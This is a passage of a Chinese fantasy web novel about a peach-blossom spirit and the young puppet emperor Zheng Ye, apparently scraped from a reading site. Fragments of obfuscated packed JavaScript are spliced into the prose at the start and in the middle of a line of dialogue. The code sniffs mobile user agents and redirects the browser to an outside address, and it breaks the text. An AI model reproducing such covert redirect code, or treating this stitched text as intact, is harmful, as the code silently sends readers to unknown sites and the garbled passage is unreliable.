l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355820|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烨小时候院子里几乎是没有宫人侍奉的,只除了奉太后命令监管小皇帝的柯良会偶尔来一趟,后来郑烨长大后,尤其是桃薇出去后太极宫解除了禁足,院子里侍奉的宫人就多了。 小皇帝倒是下过命令说不喜欢自己这里有那么多人,让宫人都去外面侍候着,可惜他人微言轻,不过是个挂名皇帝,想法根本不重要。 桃花精趁灵台清明抓紧修炼,黄昏时分六界都很活跃,此刻的灵力也最容易吸收。 虽然以前修炼就要比别的妖精快一些,可是这回她能清楚感受到灵力正以一种快到不可思议的速度源源不断涌入她体内,这些灵力纯净透彻,在进入体内后洗涤她的筋脉,震荡她的灵魂,让她无法控制地感到一股强烈的舒适感,就像是血肉一点点融化进充满桃木香的空气里,与天地同息。 传闻中花神为报答每一世女子对自己的救命之恩,便会化作她手上一颗痣,庇佑她一生平安顺遂。 只是后来不知怎么回事就演变成了痣主人执念的安慰。 虽然有着此生都难以实现的愿望,却也有花神大人显灵保自己平安——如此究竟是好是坏? 曾经桃花精对此很不甘心。 所谓执念,与心愿还是有很大差别的吧。 被强烈的、永远无法实现的执念所折磨着,这样的一生是值得珍惜的吗?假如拥有这样执念后得到的是平安一生,那这到底是安慰还是更残忍的折磨呢?被迫漫长的一生延长了痛苦,直到濒死之际或许还在痛哭着那个没能实现的愿望。 她低头看自己空白的掌心,靠近食指处那颗红痣已经消失了,她曾把陶丽绾视为一生的禁忌,可是直到被柳翀强迫着直面那样的幻境时,她才幡然醒悟,自己已经变了。 在陶丽绾死后的二百多年里,她怨恨过、懊悔过,也被一百八十一年天雷折磨得生不如死过,可是——哪怕是这样的时光里,她仍然在成长。 属于她的人生之路永远向着光明的那一方不断蔓延,她走在这条充满酸辛苦辣的道途上,时至今日才意识到原来自己从来没停止过前进的步伐。 是的。在陶丽绾死后,她还是遇到了很多像女人一样闪闪发光的凡人,或许这些光芒比起陶丽绾最初照亮她世界的耀眼光芒相比实在微不足道,可她依旧发自内心地感恩。 正是这些看似不起眼的微弱光点,一点点让她空荡荡的心变得温暖起来,轻盈到宛如一片花瓣的生命也因为承载了这些美好羁绊而充满力量,就连这条沧茫的灵魂也丰盈起来,开始为自己的小小成长而感动。 泪水啪答啪答落在手心,桃花精咬紧牙关,哭泣不休,却仍挡不住汹涌而来的幸福。 她狼狈地抬起袖子想要擦去眼泪,却怎么也擦不尽,只是哽咽着,又意识到一个笨蛋道理——原来擦掉眼泪没办法抹去悲伤,能因为被她擦掉眼泪就开心起来的,只有郑岚。 所以,无论怎么说能认识这些凡人们,体验到和这些人在一起而滋生的许多情感,真的是一件很幸福的事。 执念又怎样,哪里比得过生命珍贵呢? 50. 第 50 章 郑烨一直昏睡到第二日凌晨才悠悠转醒,视野里是静谧的深蓝色夜空,仅有的几颗星星散发着微弱的光芒,眨眼间几乎消失不见。 后背和后脑勺一阵阵的钝痛,不过更多的是发麻。他抬手抚住胸口,神情有片刻的呆滞,很快反应过来想要起身,结果另一只手刚刚要寻找借力点就按了个空,失重感猛然袭来,他还来不及尖叫,就被一只强有力的胳膊捞住即将下坠的身子,被带入一个清凉的怀抱里。 这么说并不准确,应该是被手臂主人一只手搂住腰后,他顺势拥住了她。 “......云仙大人?”他有些不确定,怔怔抬头环顾四周,注意到自己正待在院子里那株桃花树中央时,立即有一层酥酥麻麻的刺痛感从头顶推遍全身,让他难以自抑抖了抖,赶快与怀里的女孩分离。 这么多年来,是他第一次靠近这株桃花树。 云仙大人说过,这株树木也是她灵体的一部分。 郑烨一下子屏住呼吸,吞咽了一口口水,不知为何嗓子里有股莫名的渴意,这让他古怪地垂下眼帘,不敢去看盘腿而坐,托腮笑望着自己的那个女孩。 桃花精目露欣赏,静静观赏眼前这个羞怯的美少男。 月色下与花海中的郑烨美的让人窒息,长发如瀑,比瀑更柔顺;肌肤赛雪,比雪更加透亮。他害羞时脸颊会泛起犹如朵朵桃花盛放的粉意,让人忍不住伸手想要去把玩。 而桃花精也真的这么做了。 她抬手抚上男孩柔嫩滑腻的脸蛋,忍不住感慨:“都说玉养人,那你就是真正的玉养妖,你是真玉,我是真妖。” 手下原本只是微微温的皮肉瞬间像是被烤熟了一般变得滚烫,她直接被烫的缩回了手,刚要张口抱怨,可是目光触及垂眸羞涩的男孩时,看到翩翩长睫也无法掩盖的那双水润黑眸时,顿时没了脾气。 她知道这是一个很容易害羞的孩子。 便没有多计较,而是曲了曲指示意他过来。 因为她的示意,男孩像只小猫咪一样颤了颤,先是掀起眼皮自认为隐秘地朝她的方向窥视两眼,眸子更加亮,而后笑着低下头,在一步一步爬过来时嘴角噙着的笑意也不断扩大。 桃花精难得温柔地摸了摸男孩柔软的长发,“前段时间自己一个人很寂寞吧。” 这里所说的前段时间是桃花精去东河郡的那些时候还是包括了分别的那六年,女孩没有明说,郑烨也没有问。 男孩只是露出依赖亲昵的笑,翻身与她并肩坐在一起,她盘腿而坐,他将两只腿耷拉在半空中,“不会哦,已经遇见了云仙大人,有关于云仙大人的那么多美好的记忆陪伴着我,我怎么可能会寂寞呢?当然——嗯......当然还是很想念云仙大人的。” 他大概很害怕自己是她的麻烦,声音越来越小,说最后一句话时会小心翼翼观察她的情绪。 桃花精不喜欢他这副样子。 她一把握住郑烨的手,凑近他,正色,认真说:“我又不是什么坏蛋,也不可怕吧?相比起来柳精那个坏妖精我可是很温柔的了!你这孩子怎么老是那么怕我呢,有什么话直接和我说就好了啊!”她又补充道:“大胆说!” 郑烨因为女孩的靠近而骤然屏住呼吸,他瞪大眼睛手足无措,很想乖乖地、大声地说“好的!”可是现在这个样子根本不可能的吧?有些话根本不可能对云仙大人说这件事暂且不提,光是他面对云仙大人越来越胆小的性子就让他在这档口根本说不出一个字。 顶着云仙大人恨铁不成钢的眼神,他嗫喏半天一个字也说不出口,最后直接被云仙大人强硬地捧着脸,两人四目相对。 “是不是怪我每次答应了在你身边结果没两天又离开了?” ......什么? 郑烨睁大眼睛,甚至没有第一时间反应过来这句话的意思,在女孩手上力气加重了些许后意识回笼,猛地摇头:“不不不,怎么可能!” 怕女孩不信,他还上前抓住女孩的手腕,大着胆子凑近了些许,死死盯着她,紧张地吸了一口气,而后一口气大声说完:“云仙大人愿意留在这里,对我来说已经是非常值得感激的事情了!就像是哪怕云仙大人不在,我也会因为那些和云仙大人在一起的美好回忆而不再感到孤单一样,因为云仙大人曾经存在我的身边,所以就算是相识一天便再也无法相见,我也会一直深深地感激着云仙大人,无比庆幸我们的相遇。” 郑烨眼神动容,长睫颤了颤,能够很容易从云仙大人那张脸上看到明显的关切。 怎么会这样,明明以前云仙大人从来不会考虑这些的。 他现在唯一的感受就是愧疚和伤心,被云仙大人担忧什么的,简直太糟糕了。 云仙大人这样美好的存在,本就应该幸福自由一生不是吗? 像他这样的废物既然不能够守护云仙大人,那就应该努力做好自己的事情,千万不要成为云仙大人的累赘啊。 可是现在呢? 明明云仙大人已经为了柳玉冷的一堆事情如此疲倦了,他竟然还需要云仙大人为他担心。 实在是太该死了。 “对不起云仙大人。”郑烨开口说出这句话时就泪流满面了,他害怕泪水把云仙大人弄脏,赶忙远离,抬袖边擦眼泪边抽噎:“我不该让云仙大人担心的......最近不知道怎么回事总是觉得好害怕好害怕,哪怕和云仙大人待在一起,心脏也总是因为惊惶而跳个不停——” 藏在袖子里的手握紧拳头,指甲陷入皮肉里带来的痛感让郑烨哪怕在这种情况下也保留了一丝理智:“因为云仙大人答应过会陪伴烨儿到生命的尽头,所以无论云仙大人离开多久,烨儿也一定会坚信着这句话,乖乖等待云仙大人的归来。可是、可是最近还是会忍不住感到害怕呜呜,烨儿只是觉得离云仙大人好远,远到好像无论我怎么努力,都触碰不到云仙大人......” 桃花精愣住,“为什么?” 她就在他身边不是吗,这样还不够吗,究竟有什么可害怕的呢? 郑烨哭个不停,勉强擦干眼泪,又在广袖的遮掩下稍微整理了一下仪容,这才睁着一双泪眼蒙蒙的大眼,可怜兮兮自上而下看着女孩,“烨儿......对于云仙大人而言,是有意义的吗?” 她无法理解男孩别扭的情绪,也无法理解这句话,诚实摇摇头:“你想说什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377353|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 男孩苦笑了一下,转瞬即逝,很快就恢复了肝肠寸断的伤心模样,垂下的长睫还染着泪花,眼睛和鼻头都哭的红彤彤的,直白吐露自己的想法:“我不想云仙大人为我担忧。”他顿了一下,“更不想云仙大人像可怜小猫一样可怜我。” 桃花精没说话,静静看着他。 女孩脸上没有什么特别的表情,郑烨有一瞬间的犹豫,害怕自己所说的话会惹女孩生气,可是心中另一个猜测还是占据了上风——云仙大人在认真听他讲话。 他感觉出来了,此次东河郡之旅归来后,云仙大人就变了很多,具体是哪里他也说不清楚,只觉得自己好像更多地能够进入到云仙大人眼里。 郑烨俯视不远处的太极宫殿,第一次知道原来这棵树那么高,夜风擦过耳边,带来丝丝缕缕的清冽花香,“这里以前是叔祖父生活的地方,对于云仙大人而言,我和叔祖父是有区别的吗?” “当然有。”桃花精毫不犹豫回答。 他笑了一下,侧头看向身边之人,“可以告诉烨儿吗?” 她抿了抿唇,微微思索片刻记忆——更多是幻境里那人,然后肯定地说:“他身材比你好。”本来想说他更漂亮来着,毕竟那个幻象虽然说了奇怪的话做了奇怪的事,但真的有惊艳到她喔!可是方才她一扭头就见到旁边那张年纪轻轻便已风华绝代的美少男,果然谁比郑烨好看这个问题是不可能有答案的。 郑烨原本都酝酿好了的情感霎时被女孩一句话堵回去,半天没缓过神来,在后知后觉意识到女孩话里的意思后直接大叫出来:“什么!?” 男孩脸上是肉眼可见的生气,估计气得想跺脚还没地儿跺,当即急得什么也不顾了抓住桃花精的袖子便冲她撒娇:“才不是呢!那是因为叔祖父他老了——啊不是,叔祖父是大人肯定长得我高啊!云仙大人我生气了哼!您不准这么说,等我长大后身材肯定比叔祖父好多了——比那个黄鼠狼精还好!” 桃花精被他逗得哈哈大笑,下意识拍打着身下坐着的树枝,花雨洋洋洒洒,她笑个不停:“哈哈哈你也太好笑了,跟他一个比什么啊哈哈,还跟黄鼠狼精比哈哈哈哈哈笑死我了,得了吧,那家伙都不是人有什么可比的,你要真长成他那样子还怪吓人呢!” 反应过来自己说了什么的郑烨爆红,掩耳盗铃地捂着脸几乎要羞死了。他感觉周围的花香更加馥郁了,浓烈的他几乎喘不过气来,耳边女孩欢快的笑声与花香一同压过来,他差点要再次晕过去,下一刻—— 浓郁到熏人的花香瞬间烟消云散,女孩的大笑也逐渐远离。 意识到不对劲的郑烨悄悄分开手指查看,便透过两个细细长长的指缝看到高出的女孩坐在花树上,明月在她背后黯然失色,她还笑着,伸长右臂挥挥手,月亮被她的手挡住又露出,如此循环往复了三次,便听到她大声说:“你对我来说当然是独一无二的,郑烨!” 郑烨眼眶一酸,忍不住在心里埋怨:真是,怎么可能不喜欢呀。 桃花精笑嘻嘻看着男孩走进屋里,勾勾手指贴心地给他关上门,仰天看明月,“傻孩子,每个人都是独一无二的啊,所以不要总是和别的比较了。”